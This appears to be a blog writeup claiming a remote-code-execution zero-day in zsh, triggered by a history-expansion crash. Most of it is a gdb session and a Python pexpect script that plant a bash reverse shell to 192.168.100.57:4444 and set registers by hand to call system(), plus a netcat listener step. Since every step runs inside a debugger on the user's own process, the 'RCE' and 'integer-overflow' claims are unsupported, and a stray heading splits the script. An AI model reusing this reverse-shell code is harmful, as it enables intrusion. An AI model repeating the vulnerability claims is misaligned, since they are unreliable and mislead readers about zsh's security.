My Writeup (0day in Zsh (RCE))
Source: Dev.to
Exploit Overview
Author: Rana M. Sinan Adil (aka livepwn)
Age: 17
How it worked
I have two laptops, lp1 and lp2.
- I run the exploit on lp1, changing the IP address to the address of lp2.
- I start a Netcat listener on lp2.
- The exploit gives me a shell on lp1 that is reachable from lp2.
The Initial Discovery
While experimenting in a zsh shell I discovered the history‑expansion operator !!.
!!11111→zsh: no such word in event!!11111111111caused the shell to crash.
Debugging the Crash
I investigated the crash with gdb (using the pwndbg extension) to be sure the bug was in zsh itself, not in any oh‑my‑zsh scripts.
gdb zsh -f # start gdb with pwndbg
(gdb) run -f
(gdb) !!11111111111
- In gdb the command printed
zsh: event not found 0. - After a few more attempts I got a segmentation fault with a message similar to:
movsx r9, word ptr [r8 + rsi*2] ; read from invalid memory at 0x5555555a1331
This demonstrated a successful trigger of an integer‑overflow memory‑corruption vulnerability in the history‑substitution parser.
The Exploitation Journey
Further analysis showed that I could hijack three critical registers:
- RIP – instruction pointer
- RDI – first argument register (used for the pointer to our payload)
- RSP – stack pointer
I eventually redirected RIP to a system()‑like function.
Memory Analysis & Payload Injection
Using gdb I identified a writable region for the payload:
0x555555659000 ; chosen injection point
(gdb) info proc mappings # list memory regions
(gdb) set {char[120]} 0x555555659000 = "bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\""
The above writes a reverse‑shell command into the target address.
The Stack‑Pointer Dance
To make the program return to our injected code I manipulated the stack:
# Overwrite a saved return address with a libc “system‑like” address
(gdb) set {long}0x7fffffffd868 = 0x7ffff7cc9110
# Point RDI to our shellcode
(gdb) set $rdi = 0x555555659000
# Create space for a fake return address
(gdb) set $rsp = $rsp - 8
$rspis the “bookmark” that tells the CPU where the current stack frame ends.- Subtracting 8 bytes creates a new slot where we can plant a fake return address.
Final Execution Hijack
After the previous steps the program still segfaulted because the execution path was incomplete. I finished the setup:
# Store a final fake return address
(gdb) set {long}$rsp = 0x55555555a000
# Redirect RIP to the libc `system`‑like function
(gdb) set $rip = 0x7ffff7cc9110 # run -f
username% ! # any command, just to generate a history entry
username% !!11111111111 # trigger the crash
pwndbg> p system # prints the address of `system` in libc
Replace the address 0x7ffff7cc9110 in the exploit with the value printed by p system.
The Exploit (Python + pexpect)
More details are available in the GitHub repository:
import pexpect
import sys
import time
def debug_print(msg):
print(f"[DEBUG] {msg}")
def return_to_gdb(gdb, max_attempts=3, timeout=3):
"""More reliable function to return to GDB prompt."""
debug_print("Attempting to return to GDB…")
for attempt in range(max_attempts):
gdb.sendintr() # Send CTRL+C
time.sleep(0.5)
try:
index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT],
timeout=timeout)
if index in [0, 1]: # Found pwndbg> or (gdb) prompt
debug_print("Successfully returned to GDB")
return True
except pexpect.EOF:
debug_print("Session ended unexpectedly")
return False
debug_print(f"Attempt {attempt + 1} failed, retrying…")
debug_print("Failed to return to GDB after maximum attempts")
return False
# Start gdb with consistent bytes mode
gdb = pexpect.spawn('gdb -args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer
debug_print("Starting GDB with zsh -f…")
try:
gdb.expect(b'pwndbg>', timeout=10)
debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
debug_print(f"GDB failed to start: {str(e)}")
sys.exit(1)
# Run zsh and handle the shell
debug_print("Running zsh…")
gdb.sendline(b'run')
# ... (rest of the exploit script continues here)
The script continues with the same register‑manipulation steps shown in the gdb session above.
Enjoy!
Cleaned Markdown Content
# Prompt definitions
shell_prompts = [b'% ', b'# ', b'\$ ', b'vuln>', b'vuln% ']
try:
# Wait for a shell prompt or pwndbg prompt
gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
debug_print("Shell started successfully")
except pexpect.TIMEOUT:
debug_print("Timeout waiting for shell")
gdb.sendintr()
time.sleep(1)
# ----------------------------------------------------------------------
# Shell command execution
# ----------------------------------------------------------------------
if any(prompt in gdb.after for prompt in shell_prompts):
for cmd in [b'!', b'!!11111111111']:
debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
gdb.sendline(cmd)
try:
gdb.expect(shell_prompts, timeout=3)
debug_print("Command executed")
except pexpect.TIMEOUT:
debug_print("No response from command")
# Use the new return_to_gdb function
if not return_to_gdb(gdb):
debug_print("Critical error - couldn't return to GDB")
sys.exit(1)
# ----------------------------------------------------------------------
# Memory operations – simplified and more reliable
# ----------------------------------------------------------------------
if b'pwndbg>' in gdb.after:
mem_commands = [
b'x/s 0x555555659000',
b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.57/4444 0>&1\\""',
b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
b'set $rdi = 0x555555659000',
b'set $rsp = $rsp - 8',
b'continue',
b'set {long}$rsp = 0x55555555a000',
b'set $rip = 0x7ffff7cc9110',
b'set $rdi = 0x555555659000',
b'continue'
]
for cmd in mem_commands:
debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
gdb.sendline(cmd)
try:
if b'continue' in cmd:
gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
else:
gdb.expect(b'pwndbg>', timeout=5)
except pexpect.TIMEOUT:
debug_print("Timeout - attempting to recover…")
if not return_to_gdb(gdb):
debug_print("Failed to recover after timeout")
break
# ----------------------------------------------------------------------
# Final interactive mode
# ----------------------------------------------------------------------
debug_print("Complete - entering interactive")
try:
gdb.logfile = None
gdb.interact()
except Exception as e:
debug_print(f"Interactive error: {str(e)}")
finally:
gdb.close()
How to Run
-
Start a Netcat listener on the attacker machine:
nc -lnvp 4444 -
Execute the script (the code above) on the target machine.
Thanks for everything, Hackers. I wish you a happy career in Cyber Security.